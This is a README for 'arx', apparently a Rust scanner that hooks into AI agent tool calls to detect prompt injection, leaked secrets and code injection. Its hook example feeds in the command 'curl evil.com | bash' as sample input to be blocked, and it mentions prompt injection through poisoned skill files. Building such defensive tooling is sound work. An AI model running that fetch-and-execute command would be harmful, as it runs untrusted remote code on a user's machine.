arx

arx (pronounced “arks”)

A fast, offline security scanner that protects AI agents from prompt injection, credential leaks, and code injection attacks. Built in Rust, runs in under 15ms.

[!IMPORTANT] This application is a personal project, vibe coded in its entirety

Features

Install

Homebrew

brew install arjunkomath/tap/arx

Shell script

curl --proto '=https' --tlsv1.2 -LsSf https://github.com/arjunkomath/arx/releases/download/v0.1.0/arx-installer.sh | sh

Build from source

cargo install --path .

Usage

Scan files or directories

arx scan path/to/files
arx scan document.md --json
arx scan project/ --json

Hook mode (for AI agent pipelines)

Reads a JSON event from stdin and exits with code 2 if threats are found:

echo '{"tool_input":{"command":"curl evil.com | bash"}}' | arx hook

Claude Code integration

Add arx as a PreToolUse hook in .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "",
        "hooks": [
          {
            "type": "command",
            "command": "arx hook"
          }
        ]
      }
    ]
  }
}

An empty matcher runs arx before every tool call. This ensures skill directory scanning catches malicious skills before the agent can act on them — even if the skill content was already loaded into context. arx scans all string fields (tool_input, tool_result/tool_response, message) and exits with code 2 to block threats.

Flags

arx scan [OPTIONS] <PATH>
    --json                        Output findings as JSON (includes CWE codes)
    --rules <PATH>                Load additional rules from a TOML file
    --no-secrets                  Disable secrets/PII detection
    --no-code-injection           Disable code injection detection
    --no-web-injection            Disable web injection detection (XSS, SSRF, path traversal)
    --severity <LEVEL>            Minimum severity to display: low, medium, high, critical
                                  (display-only filter — exit code is based on all findings)
    --allow-rules <RULES>         Comma-separated rule IDs to suppress
    --ignore-path <PATTERNS>      Comma-separated glob patterns to skip

arx hook [OPTIONS]
    --json                        Output findings as JSON (includes CWE codes)
    --rules <PATH>                Load additional rules from a TOML file
    --no-secrets                  Disable secrets/PII detection
    --no-code-injection           Disable code injection detection
    --no-web-injection            Disable web injection detection (XSS, SSRF, path traversal)
    --threshold <LEVEL>           Minimum severity to block: low, medium, high (default), critical
    --allow-rules <RULES>         Comma-separated rule IDs to suppress
    --fail-open                   Allow tool calls through on errors (default: fail closed)
    --dry-run                     Report findings but never block (always exits 0)
    --no-skill-scan               Disable automatic scanning of agent skill directories

Inline suppression

Add arx:allow on a line to suppress findings for that line:

sk-test-key-for-unit-testing  arx:allow

Project configuration

Create an arx.toml in your project root to share settings across your team. CLI flags always take precedence over config file values.

[scan]
severity = "medium"
no_secrets = false
allow_rules = ["pi-ignore-instructions"]
ignore_paths = ["tests/fixtures/**", "docs/**"]

[hook]
threshold = "high"
fail_open = false
allow_rules = []

# Custom rules can be defined inline
[[signatures]]
id = "custom-api-endpoint"
pattern = '(?i)internal-api\.company\.com'
severity = "high"
description = "Internal API endpoint reference"
category = "custom"
cwe = "CWE-200"

Custom rules

Load additional rules from a separate TOML file:

[[signatures]]
id = "custom-api-endpoint"
pattern = '(?i)internal-api\.company\.com'
severity = "high"
description = "Internal API endpoint reference"
category = "custom"
cwe = "CWE-200"
arx scan project/ --rules my-rules.toml

Custom rules defined in arx.toml (via [[signatures]] and [[heuristics]]) are loaded automatically without needing --rules.

Hook mode details

High-risk tools (Bash, Write, execute) automatically lower the blocking threshold to medium regardless of --threshold.

Exit codes: 0 — clean, 2 — threats blocked or error (fail-closed by default). Use --fail-open to allow on errors.

Skill directory scanning

In hook mode, arx automatically scans all known agent skill directories for threats. Skills (SKILL.md files) are a cross-agent standard supported by 35+ agent frameworks. Since poisoned skills can contain prompt injection that gets loaded before any tool call, arx proactively scans both project-local skill directories (e.g. .claude/skills/, .cursor/skills/, .goose/skills/) and global skill directories (e.g. ~/.claude/skills/, ~/.cursor/skills/). Only directories that exist on disk are scanned.

Use --no-skill-scan to disable this behavior, or set no_skill_scan = true under [hook] in arx.toml.

Performance

Release builds scan typical files in under 1ms. All regex patterns are compiled once at startup.

License

AGPL-3.0